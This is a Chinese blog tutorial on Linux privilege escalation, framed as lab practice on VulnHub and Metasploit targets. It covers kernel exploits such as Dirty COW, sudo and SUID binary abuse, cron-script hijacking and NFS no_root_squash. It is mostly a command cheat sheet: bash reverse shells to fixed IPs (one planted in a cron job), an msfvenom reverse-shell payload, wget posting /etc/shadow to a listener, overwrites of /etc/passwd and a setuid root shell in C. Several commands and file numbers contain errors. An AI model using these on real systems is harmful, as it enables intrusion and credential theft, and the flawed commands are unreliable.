生命在于学习——Linux提权

2023-05-16

在这里插入图片描述
本篇文章仅用于学习记录,不得用于其他违规用途。

一、内核漏洞提权

1、常规查找

查看内核版本信息

uname -a
uname -r

查看系统发行版本

cat /etc/issue
cat /etc/*-release

Ubuntu 16.04
4.4.0-21-generic

搜索该版本漏洞,把对应版本的文件上传到服务器编译执行

searchsploit Ubuntu16.04
searchsploit -u #更新数据库

2、Ubuntu 16.04提权

DC-3 靶机做实验 , 开局一个shell
http://192.168.0.189/templates/beez3/error.php
/bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1 
DC-3下载地址
https://www.vulnhub.com/entry/dc-32,312/
后台
http://192.168.101.123/administrator/
admin snoopy

发现是ubuntu16.04内核版本是4.4.0-21的,直接通过kali里面的漏洞库,搜索一下是否有exp

searchsploit Ubuntu 16.04

在这里插入图片描述
这里我们使用33772.txt这个文件里的exp提权

查看文件内容
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

在这里插入图片描述
下载好后 , 通过python开启http服务 , 把压缩包下载到靶机上

python3 -m http.servev 8080 --bind 192.168.42.142 
wget http://192.168.0.36:8000/39772.zip

接下来就是解压提权了

unzip 39772.zip cd 39772
tar -xvf exploit.tar ls
cd ebpf_mapfd_doubleput_exploit ls
./compile.sh
./doubleput
whoami
cat /etc/shadow

在这里插入图片描述

3、脏牛提权

msf靶机演示
CVE-2016-5195 
Linux kernel < 4.8.3 ( 使用msf靶机演示 )

前提环境

msf上线
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.96 LPORT=8001 -f elf -o /tmp/shell.elf
cd /tmp
python3 -m http.server
msf监听
msfconsole -r handler.rc
set payload linux/x86/meterpreter/reverse_tcp run -j
靶机上操作
wget http://192.168.6.73:8000/shell.elf chmod +x shell.elf
nohup ./shell.elf &
msf上线
getuid # 查看权限 shell
cat /etc/shadow

exp下载地址:https://github.com/FireFart/dirtycow , 将下载好的exp放到msf这台机器上

# 通过python切换成交互式shell
python -c 'import pty; pty.spawn("/bin/bash")' cat /etc/shadow
uname -a
cd /tmp
wget http://192.168.0.36:8000/dirtycow-master.zip unzip dirtycow-master.zip
cd dirtycow-master
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

在这里插入图片描述

su firefart 123456
cat /etc/shadow

在这里插入图片描述
实际上做的是备份+修改/etc/passwd文件 , 如果你想恢复的话执行以下命令

mv /tmp/passwd.bak /etc/passwd

二、滥用sudo提权

1、什么是sudo

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等,这样不仅减少了root用户的登录和管理时间,同样也提高了安全性,sudo不是对shell的一个代替,它是面向每个命令的基础。

它的特性主要有这样几点: sudo能够限制用户只在某台主机上运行某些命令。
sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务 器。
sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了 一张存活期为5分钟的票(这个值可以在编译的时候改变)。
sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存 放的位置默认是在/etc/sudoers,属性必须为0440。
在sudo于1980年前后被写出之前,一般用户管理系统的方式是利用su切换为超级用户。但是使用su的 缺点之一在于必须要先告知超级用户的密码。
sudo使一般用户不需要知道超级用户的密码即可获得权限。首先超级用户将普通用户的名字、可以执 行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常 是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer ”);在一般用户需要取得特 殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是 该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5 分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。
由于不需要超级用户的密码,部分Unix系统甚至利用sudo使一般用户取代超级用户作为管理帐号,例 如Ubuntu、Mac OS X等。

参数说明

-V 显示版本编号
-h 会显示版本编号及指令的使用方式说明
-l 显示出自己(执行 sudo 的使用者)的权限
-v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做 一次确认,如果超过 N 分钟,也会问密码
-k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
-b 将要执行的指令放在背景执行
-p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
-u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
-s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
-H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管 理者 root )
command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

2、sudoer文件语法

sudoers文件主要有三部分组成

sudoers的默认配置(default),主要设置sudo的一些缺省值 alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。 安全策略(规则定义)——重点。
语法
root ALL=(ALL) ALL
说明1:root用户可以从 ALL终端作为 ALL(任意)用户执行,并运行 ALL(任意)命令。 第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户, 最后一部分是他在使用时可以运行的命令。sudo
touhid ALL= /sbin/poweroff 说明2:以上命令,使用户可以从任何终端使用touhid的用户密码关闭命令电源。
touhid ALL = (root) NOPASSWD:/usr/bin/find 说明3:上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find 而无需密码。

设置某个用户执行某个命令sudo免密码

vim /etc/sudoers
在最后一行添加
当前用户名 ALL = (root) NOPASSWD:/usr/bin/find , 如 derian ALL = (root) NOPASSWD:/usr/bin/find
所有sudo命令不需要密码
vi /etc/sudoers
用户名 ALL=(ALL:ALL) NOPASSWD:ALL

3、利用sudo提权

vim /etc/sudoers
在最后一行添加
当前用户名 ALL = (root) NOPASSWD:/usr/bin/find
所有sudo命令不需要密码
vi /etc/sudoers
用户名 ALL=(ALL:ALL) NOPASSWD:ALL

sudo -l #显示允许当前用户使用的命令
在这里插入图片描述

4、find命令

sudo find /etc/passwd -exec /bin/sh \; # 查看当前用户
sudo find /etc/passwd -exec whoami \; # 查看shadow
sudo find /etc/passwd -exec cat /etc/shadow \;

5、vim命令

sudo vim -c '!sh'

6、nmap命令

适用版本:nmap2.02至5.21 在早期nmap版本中,带有交互模式,因而允许用户执行shell命令 使用如下命令进入nmap交互模式

nmap --interactive

在nmap交互模式中 通过如下命令提权

nmap> !sh 
sh-3.2# whoami 
root

没有交互的最新方式

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap —script = /tmp/shell.nse

7、git命令

sudo git -p help 或者 sudo git help config !/bin/sh
# whoami root

8、teehee命令

teehee命令可以往一个文件追加内容,可以通过它向/etc/passwd写入内容,新增一个超级用户

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su test
whoami

9、man命令

sudo man man 
之后按!
 按下并按Enter

10、less/more命令

sudo less /etc/hosts
 sudo more /etc/hosts
之后按! 
按下并按Enter

11、awk命令

akw命令进入shell

sudo awk 'BEGIN {system("/bin/bash")}'

12、nano命令

nano也算是比较上古的文本编辑器了,nano进入shell的方法为

sudo nano #进入nano编辑器 Ctrl + R
Ctrl + X
#即可输入命令

13、wget命令

这种非常酷的方式要求Web服务器下载文件。这样我从没在任何地方见过。让我们解释一下。
首先将Target的/etc/passwd文件复制到攻击者计算机。 修改文件,并在上一步中保存的密码文件中添加用户到攻击者计算机。 仅附加此行=>
touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ8 21kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0/0:b:root/root:
将passwd文件托管到使用任何Web服务器的主机。
在受害者方面。
sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
现在切换用户密码是:test
su touhid
注意:如果您要从服务器上转储文件,例如 root 的 ssh 密钥, shadow 文件等。 sudo wget —post-file = /etc/shadow 192.168.56.1:8080 攻击者的设置侦听器:nc –lvp 8080

14、zip提权

首先,我们使用touch命令创建一个文件,我们已创建了一个raj.txt文件,现在我们通过zip文件压缩 raj.txt文件,并执行一个获取shell的命令。如下:

sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"

可以看到,我们已经通过zip命令成功获取到了受害者机器的shell。
在这里插入图片描述

三、suid提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行 root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限 , 简单来说就是 文件的拥有者是root , 然后这个文件又可以通过某语法执行系统命令 , 那么你就可以提升到root权限了

1、寻找suid文件

在Linux中查找可以用来提权的suid文件

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部()开始并找到每个目录
-perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件
-type 表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向 /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
另外两个相同的查找命令
find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \;

跟滥用sudo的原理差不多 , 也是列举几个常见的命令 , SUID提权和SUDO提权是通用的

2、find命令

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用 SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
提权如下:

touch anyfile(文件路径) #必须要有这个文件 
find anyfile -exec whoami \;

在这里插入图片描述

3、vin/vim命令

在这里插入图片描述

4、bash命令

以下命令将以root身份打开一个bash shell。

./bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

5、more/less命令

less命令也可以进入shell

less /etc/passwd
#在less中输入:
!/bin/sh

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

6、nano命令

nano进入shell的方法为

nano #进入nano编辑器 Ctrl + R
Ctrl + X
#即可输入命令

7、mv/cp命令

使用 mv/cp 命令覆盖原来的 /etc/passwd 文件

8、awk命令

awk命令进入shell

awk 'BEGIN {system("/bin/bash")}'

在这里插入图片描述

9、nmap命令

nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受 影响的范围内或更早就可以尝试使用这种方法进行提权

nmap -v #查看版本
nmap --interactive # 进入交互模式
进入shell
nmap> !sh
 sh-3.2# whoami
  root

10、man命令

man passwd 
!/bin/bash

11、tcpdump命令

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

12、python/per/ruby/lua/php/etc命令

# python
python -c "import os;os.system('/bin/bash')"
# perl
exec "/bin/bash";

四、计划任务提权

如果可以 找到可以有权限修改的计划任务脚本,就可以修改脚本实现提权 。本质上,就是文件权限配置不当 查看计划任务,找到有修改权限的计划任务脚本 , 在计划任务对应中追加提权后门

more /etc/crontab

在这里插入图片描述
在mysqlback.sh 添加 SUID shell后门,当定时任务以root再次执行的时候,可以获取root权限

root权限下
vim /tmp/test.sh
#!/bin/sh
ping qq.com -c 4
vim /etc/crontab
*/1 * * * * root /bin/bash /tmp/test.sh
chmod 777 /tmp/test.sh
vim /tmp/test.sh
/bin/bash -i >& /dev/tcp/192.168.0.96/5656 0>&1

五、第三方服务NFS提权

1、什么是NFS

网络文件系统(NFS )是一个客户端/服务器应用程序 ,它使计算机用户可以查看和选择存储和更新远 程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准, 网络附加存储(NAS)之一。
NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、 操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无 关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支 持在异构系统之间数据的传送。

2、什么是root_sqaush和no_root_sqaush

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程 根用户在连接时会分配一个用户 "nfsnobody",它具有最少的本地特权。如果no_root_squash选项开 启的话,并为远程用户授予root用户对所连接系统的访问权限 , 即攻击者用本地root用户链接 , 在目标 系统操作的权限也是root权限
注意:要利用此,no_root_squash选项得开启。
root_squash:客户机用root用户访问该共享文件夹时,将root用户映射成匿名用户(默认设置); no_root_squash:客户机用root访问该共享文件夹时,不映射root用户为匿名用户 , 依然是root用 户;

3、利用NFS提权

首先拿到一个低权限的shell,查看目标服务器上是否开启了NFS

cat /etc/exports # 如果啥也没有就是没有开启nfs,也就无法提权了

实验靶机 centos7配置nfs

# 安装
yum install -y nfs-utils
# 启动服务
systemctl start rpcbind.service systemctl start nfs-server.service
# 设置开机自动启动
systemctl enable rpcbind.service
systemctl enable nfs-server.service
# 修改配置文件
vim /etc/exports
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) # 使配置生效
exportfs -a
# 查看共享目录
showmount -e
# 关闭防火墙
systemctl stop firewalld.service
# 查看服务
systemctl status rpcbind.service systemctl status nfs-server.service

此时查看nfs配置
在这里插入图片描述
/etc/exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成: [共享的目录] [主机名或IP(参数,参数)] , 其中参数是可选的,当不指定参数时,nfs将使用默认选项。 默认的共享选项是 sync,ro,root_squash,no_delay。当主机名或IP地址为空或者*时,则代表共享给任 意客户机提供服务。当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样: [共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

很简单就是当nfs配置了no_root_squash,客户端就具有了这台nfs机器的root权限,即其他机器链接他的话是一个root权限:
1、查看NFS服务器上的共享目录,kali上操作

showmount -e 192.168.0.84 目标ip

2、创建本地挂载目录,挂载共享目录,使用攻击者本地root权限创建suid shell

mkdir -p /tmp/test
mount -t nfs 192.168.0.84:/tmp /tmp/test
vim /tmp/test/suid-shell.c # 内容如下
#include <stdio.h> #include <stdlib.h> #include <sys/types.h>
#include <unistd.h>
int main() { setuid(0); system("/bin/bash"); return 0; }
# 编译
gcc /tmp/test/suid-shell.c -o /tmp/test/suid-shell chmod +s /tmp/test/suid-shell

3、回到要提权的服务器上,使用普通用户获取root权限

cat /etc/shadow # 证明没权限 /tmp/suid-shell
cat /etc/shadow # 证明有权限 , 提权成功
# 然后 ( 一般先上线cs , 或者留个root权限的后门 , 总之就是能持续控制)
# root权限后门留好 , 取消挂载
sudo umount /tmp/test

在这里插入图片描述

六、总结

1.系统内核漏洞提权 , 脏牛提权
2.sudo 命令滥用提权 , 查看有那些不需要密码就可以执行的sudo命令 , 比如 find , git等 可以用来提权 3.suid提权 , 寻找带有s属性 , 又可以执行命令的可执行文件
4.计划任务提权 , 通过寻找可以修改计划任务的脚本
5.第三方服务配置不当提权 , 比如 nfs 配置不当提权
6.udf提权 , 利用mysql数据库进行提权
7.复现过影响范围比较广的提权漏洞 , 如 sudo提权 pkexec提权 , 脏管道提权
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

生命在于学习——Linux提权 的相关文章

  • 浅谈威佐夫博弈

    如果不了解威佐夫博弈的话 xff0c 下面有威佐夫博弈的介绍 有两堆石子 xff0c 数量任意 xff0c 可以不同 游戏开始由两个人轮流取石子 游戏规定 xff0c 每次有两种不同的取法 xff0c 一是可以在任意的一堆中取走任意多的石子
  • YBT1325:循环比赛日程表

    我们先看题 我们仔细观察就会发现一下规律 xff1a 设一个数 设两个数 且 1 在的范围内 有 2 在的范围内 有 3 在的范围内 有 以上三条我都验证过了 正确 所以代码就出来了 include lt iostream gt using
  • Codeforces Contest #1553 A : Digit Sum 题解

    题目链接 Digit Sum 题面 将上面一大坨翻译一下 xff0c 就是 xff1a 定义函数的数字和 给出 求有多少个满足且 若模余 xff0c 则成立 一开始想是输出的下取整 xff0c 最后的结果 xff1a 没有考虑到的情况 xf
  • Atcoder Beginner Contest 100 - 题解

    A 原题 Happy Birthday 本题其实很水 只需要输入这两个整数 xff0c 如果中有一个大于 就输出 xff0c 否则输出 Yay include lt bits stdc 43 43 h gt using namespace
  • ubuntu 18.04 server 扩容(LVM)磁盘 解决磁盘不足的情况 (亲测)

    因为发现我的本地server出现磁盘满了的情况 所以进行lvm的扩容 截图的都是扩容后的 所以忽略容量 1 查看磁盘情况 df span class hljs attribute h span 原本发现 dev mapper ubuntu
  • 欢迎使用CSDN-markdown编辑器

    欢迎使用Markdown编辑器写博客 本Markdown编辑器使用StackEdit修改而来 xff0c 用它写博客 xff0c 将会带来全新的体验哦 xff1a Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传
  • 工作一年,辞职复习半年,考杭电计算机的经验分享

    工作一年 xff0c 辞职复习半年 xff0c 考杭电计算机的经验分享 如果 xff0c 毕业了工作顺利的人大概率是不会去考研的 xff0c 去考研的人 xff0c 大概率是想改变的 题记 2019 4 6 关于我 纠结的人生 为什么考研
  • CSS表格样式

    文章目录 CSS表格样式caption side 标题位置border collapse 边框合并border spacing 边框间距css样式 xff08 推荐使用 xff09 CSS表格样式 caption side 标题位置 语法
  • Android使用Annotations注解优化代码

    文章目录 Android使用Annotations注解优化代码Null 注解Typedef 注解Resource Type 注解Threading 注解Value Constraints 注解Overriding Methods 注解Ret
  • C语言strstr函数

    函数strstr定义 xff1a char strstr const char str1 const char str2 xff1b 位于头文件 string h 中 作用 xff1a strstr函数用于判断字符串str2是否为字符串st
  • Linux下串口读写通信

    span class token keyword int span fd span class token operator 61 span span class token number 0 span span class token p
  • kubernetes最新版安装单机版v1.21.5

    kubernetes最新版安装单机版v1 21 5 k8s集群由Master节点和Node xff08 Worker xff09 节点组成 今天我在这里给大家只用1台机器 xff0c 安装kubernetes 1 安装前置环境 root 6
  • 双系统、多系统快速切换

    前言 装双系统甚至多系统 xff0c 是为了满足不同需求 每个操作系统都有自身的特点 xff0c 因为这样那样的原因 xff0c 很多人选择双系统 双系统满足了不同需求 xff0c 但是每次需要手动选择所要进入的系统 xff0c 切换系统也
  • ROS::CmakeList 例子

    ROS CmakeList 例子 span class token function cmake minimum required span span class token punctuation span VERSION span cl
  • ROS:静态TF发布

    ROS xff1a 静态TF发布 方式1 xff1a span class token tag span class token tag span class token punctuation lt span launch span sp
  • ROS::线程锁

    ROS xff1a xff1a 线程锁 boost span class token operator span mutex mutex span class token punctuation span span class token
  • 无人机智能飞行类库设计构思

    搭建无人机 智能飞行类库的主要目的就在于 xff1a 便于无人机路径规划各种算法的实施 xff0c 便于飞行仿真以及便于今后在硬件上实现算法 完整做到这些需要做三方面做工作 xff1a 一 计算几何 计算几何问题主要用于路径优化 避障等 x
  • STL教程:C++ STL快速入门

    目录 1 STL引言 2 STL是什么 xff08 STL简介 xff09 3 STL历史 4 STL组件 5 STL基本结构 6 STL 使用方法 7 STL目录 网址 xff1a STL教程 xff1a C 43 43 STL快速入门
  • vue使用sortablejs插件的时候报Sortable: `el` must be an HTMLElement

    最近因为项目需要很灵活自定义查询 xff0c 故使用了vue和element ui组件库 xff0c 其中el table需要行和列拖拽排序 故使用到了sortable插件 一 报错的排查 首先对 xff1a const tbody 61
  • 记一次Linux 4.15.0-65-generic安装Elasticsearch成功的过程

    一 xff0c 操作系统和安装的应用 xff1a 1 操作系统 xff1a Linux version 4 15 0 65 generic buildd 64 lgw01 amd64 006 gcc version 7 4 0 Ubuntu

随机推荐

  • [docker]笔记-镜像 管理

    1 镜像管理 docker search xxxx 查找镜像 例如查找httpd root 64 localhost docker search httpd 下载镜像 docker pull xxxx root 64 localhost d
  • quill-editor扩展的正确姿势

    一 无关的插曲 曾几何时 xff0c 风云万里 xff0c 万海桑田 耕耘于代码堆里多年 做过android移动端 xff0c 做过web端 xff0c 做过java后端和 net xff0c 也做过python数据分析 但真正扩展源码的亦
  • 导入excel时js转换时间的正确姿势

    一 基础 1 excel的日期是以1900 1 0开始计算的 xff0c 既1900 1 1就是1天 xff1b 2 js的Date是以 1970 1 1 08 00 00 开始的 xff1b excel时间换算如下 xff1a 点击常规后
  • springboot下ClassUtils.getDefaultClassLoader().getResource(“static“).getPath() 空指针异常???

    在static加个文件文件就ok xff0c 不信你看看
  • Compilation failure: Compilation failure

    有a项目和b项目 xff0c 如果a项目打包成功 xff0c b依赖a 现b打包的时候报Compilation failure Compilation failure了 xff0c 原因是a中有 span class token opera
  • mysql数据更新时变更时间自动更新

    ALTER TABLE test CHANGE startTime startTime timestamp NOT NULL ON UPDATE CURRENT TIMESTAMP DEFAULT CURRENT TIMESTAMP
  • docker、docker-compose和Portainer的安装

    一 docker安装 span class token comment 安装docker相关依赖 span yum span class token function install span y yum utils device mapp
  • vue-cli+spring boot前后端分离跨域及session丢失解决办法

    前后端分离跨域笔记 小小的唠叨前端代码后端 小小的唠叨 曾几何时 xff0c 项目开发时间很紧 xff0c 项目组很多的人即不懂vue也不大懂spring boot及mybatic的强大之处 xff0c 也没有做过前后端分离 xff0c 项
  • vue打包整合到spring boot一记

    目录 背景vue cli打包之前的配置总结 背景 前段时间 xff0c 根据需求 xff0c 要将项目烧入到芯片 xff0c 但我的擅长之处就是前后端分离开发 xff0c 因此需要前端vue开发好 xff0c 打包放到后端里面一起执行 那时
  • 小四轴编程入门教程

    小四轴编程入门教程之一 xff1a 陀螺仪和加速度计 在小四轴中 xff0c 陀螺仪是一种用于测量小四轴旋转速度的传感器 xff0c 它测量的是角速度 xff0c 是指物体在单位时间内转过的角度大小 通过测量物体在X Y Z三个轴上的角速度
  • 从0开始教你三天完成毕业设计-后端api

    目录 前言 开始 env 数据库配置文件 app controller 控制器接口api 工具类 分类表 categoryController 收藏表 collecetionController 商品表 goodController 订单表
  • ZYNQ双核通信 Linux+FreeRTOS(一)

    ZYNQ 双核通信 一 OpenAMP开发换环境搭建编译U boot编译Kernel编译设备树什么是devicetree xff1f Devicetree基础设备树属性设备树生成器 xff08 DTG xff09 Task Output P
  • ZYNQ 安装ubuntu文件系统

    ZYNQ 7020 Ubuntu16 04文件系统安装 在关于zynq openamp的章节我们已经完成了zynq 的u boot 内核 xff0c 设备树的制作 xff0c 通过XSDK完成了启动文件的创建 同样道理制作zynq7020的
  • RPMsg:协议简介

    RPMsg xff1a 协议简介 本篇文章转载于简书 xff0c 在此做个整理和备份 xff0c 方便查阅 在此感谢原博主SunnyZhou1024 RPMsg xff1a 协议简介0 起因1 AMP2 RPMsg2 1 Linux中的RP
  • GEM TSU Interface Details and IEEE 1588 Support

    GEM TSU Interface Details and IEEE 1588 Support Chapter 1 IntroductionChapter 2 GEM TSU Clock SourcePCW 中的 GEM TSU 时钟源选择
  • ZYNQ UltraScale+ MPSoC Linux + ThreadX AMP玩法

    ZYNQ UltraScale 43 MPSoC Linux 43 ThreadX AMP玩法 ZYNQ UltraScale 43 MPSoC与ZYNQ 7000架构比较目标 一 创建Linux1 修改kernel2 修改设备树编译 am
  • Zipwire

    文章目录 Chapter 55 Zipwire55 1 Chip specific Zipwire information52 2 Overview55 3 Introduction55 4 Zipwire Block Diagram55
  • arm启动过程详解

    ARM芯片的启动程序的分析和总结 2009 02 04 14 35 26 标签 xff1a 杂谈 分类 xff1a ARM 1 综述 xff1a 目前大多基于ARM芯片的系统都是一个比较复杂的片上系统 xff0c 多数硬件模块都是可配置的
  • 数据读写的乒乓操作

    数据读写的乒乓操作 文中一部分从其他博客中学习到 xff0c 加入了自己实际应用的过程 在重要数据的解帧与处理过程中 xff0c 为了确保数据的实时性与可靠性 xff0c 我们一般对收到的数据存储到芯片的RAM或Flash xff08 掉电
  • 生命在于学习——Linux提权

    本篇文章仅用于学习记录 xff0c 不得用于其他违规用途 一 内核漏洞提权 1 常规查找 查看内核版本信息 uname span class token operator span a uname span class token oper